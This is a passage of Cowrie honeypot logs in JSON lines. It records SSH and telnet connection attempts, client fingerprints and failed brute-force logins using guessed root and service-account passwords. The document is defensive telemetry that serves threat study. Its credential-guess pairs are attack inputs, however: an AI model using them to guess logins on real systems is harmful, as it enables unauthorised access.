16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:38.367334Z","src_ip":"143.20.185.207","session":"c233d3fbd1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU16GBAMD","message":"login attempt [root/XYZZ4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:38.737802Z","src_ip":"143.20.185.207","session":"c233d3fbd1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38484,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b33e5a3aee","protocol":"ssh","message":"New connection: 193.37.70.224:38484 (159.203.135.109:22) [session: 48b33e5a3aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:39.133427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:39.143505Z","src_ip":"193.37.70.224","session":"48b33e5a3aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:39.234795Z","src_ip":"193.37.70.224","session":"48b33e5a3aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastia13","message":"login attempt [root/nastia13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:39.506942Z","src_ip":"193.37.70.224","session":"48b33e5a3aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:39.860700Z","src_ip":"143.20.185.207","session":"c233d3fbd1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:40.598221Z","src_ip":"193.37.70.224","session":"48b33e5a3aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":47216,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd640879baf5","protocol":"ssh","message":"New connection: 223.17.1.118:47216 (159.203.135.109:22) [session: fd640879baf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:48.778727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:48.783540Z","src_ip":"223.17.1.118","session":"fd640879baf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.799802303314209,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:48.954831Z","src_ip":"197.232.46.79","session":"42c0230f851a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:48.993463Z","src_ip":"223.17.1.118","session":"fd640879baf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xz123456","message":"login attempt [root/Xz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:49.870170Z","src_ip":"223.17.1.118","session":"fd640879baf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:58:51.084128Z","src_ip":"223.17.1.118","session":"fd640879baf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":57706,"dst_ip":"10.17.0.5","dst_port":22,"session":"c718e70d22ae","protocol":"ssh","message":"New connection: 198.57.219.18:57706 (10.17.0.5:22) [session: c718e70d22ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:04.254602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:04.258671Z","src_ip":"198.57.219.18","session":"c718e70d22ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:04.341041Z","src_ip":"198.57.219.18","session":"c718e70d22ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shib2024","message":"login attempt [root/shib2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:04.590364Z","src_ip":"198.57.219.18","session":"c718e70d22ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:05.676577Z","src_ip":"198.57.219.18","session":"c718e70d22ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":38394,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c57a69f5984","protocol":"ssh","message":"New connection: 161.248.201.12:38394 (159.203.135.109:22) [session: 2c57a69f5984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:08.649194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:08.653192Z","src_ip":"161.248.201.12","session":"2c57a69f5984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:08.906951Z","src_ip":"161.248.201.12","session":"2c57a69f5984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"test123","message":"login attempt [hadoop/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:09.957149Z","src_ip":"161.248.201.12","session":"2c57a69f5984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36898,"dst_ip":"159.203.135.109","dst_port":23,"session":"637c86036154","protocol":"telnet","message":"New connection: 170.64.224.25:36898 (159.203.135.109:23) [session: 637c86036154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:11.197105Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:11.213902Z","src_ip":"161.248.201.12","session":"2c57a69f5984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48962,"dst_ip":"159.203.135.109","dst_port":23,"session":"640edfa4052e","protocol":"telnet","message":"New connection: 170.64.224.25:48962 (159.203.135.109:23) [session: 640edfa4052e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:27.762985Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":60606,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cde5fa341cc","protocol":"ssh","message":"New connection: 167.86.88.212:60606 (159.203.135.109:22) [session: 4cde5fa341cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:42.368864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:42.373692Z","src_ip":"167.86.88.212","session":"4cde5fa341cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:42.467033Z","src_ip":"167.86.88.212","session":"4cde5fa341cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxxxxx","message":"login attempt [root/xxxxxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:42.870312Z","src_ip":"167.86.88.212","session":"4cde5fa341cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:43.966400Z","src_ip":"167.86.88.212","session":"4cde5fa341cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":35404,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48512fe55ba","protocol":"ssh","message":"New connection: 166.62.35.226:35404 (159.203.135.109:22) [session: b48512fe55ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:49.954694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:49.958892Z","src_ip":"166.62.35.226","session":"b48512fe55ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.026286Z","src_ip":"166.62.35.226","session":"b48512fe55ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curve","password":"curve999","message":"login attempt [curve/curve999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.225849Z","src_ip":"166.62.35.226","session":"b48512fe55ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":46908,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a0844f3f4f","protocol":"ssh","message":"New connection: 20.228.179.34:46908 (159.203.135.109:22) [session: 55a0844f3f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.530770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.535119Z","src_ip":"20.228.179.34","session":"55a0844f3f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.545658Z","src_ip":"20.228.179.34","session":"55a0844f3f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vauld123","message":"login attempt [root/vauld123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:50.579593Z","src_ip":"20.228.179.34","session":"55a0844f3f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:51.294711Z","src_ip":"166.62.35.226","session":"b48512fe55ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:51.593437Z","src_ip":"20.228.179.34","session":"55a0844f3f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45416,"dst_ip":"159.203.135.109","dst_port":23,"session":"34221a051c5a","protocol":"telnet","message":"New connection: 170.64.224.25:45416 (159.203.135.109:23) [session: 34221a051c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:54.557163Z"}
{"eventid":"cowrie.session.closed","duration":44.423574686050415,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:55.620565Z","src_ip":"170.64.224.25","session":"637c86036154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"befe14761b4e","protocol":"telnet","message":"New connection: 167.172.116.158:49378 (159.203.135.109:23) [session: befe14761b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:56.588599Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36612,"dst_ip":"10.17.0.5","dst_port":22,"session":"f065fce69dfd","protocol":"ssh","message":"New connection: 91.92.40.4:36612 (10.17.0.5:22) [session: f065fce69dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:57.008719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:59:57.012543Z","src_ip":"91.92.40.4","session":"f065fce69dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@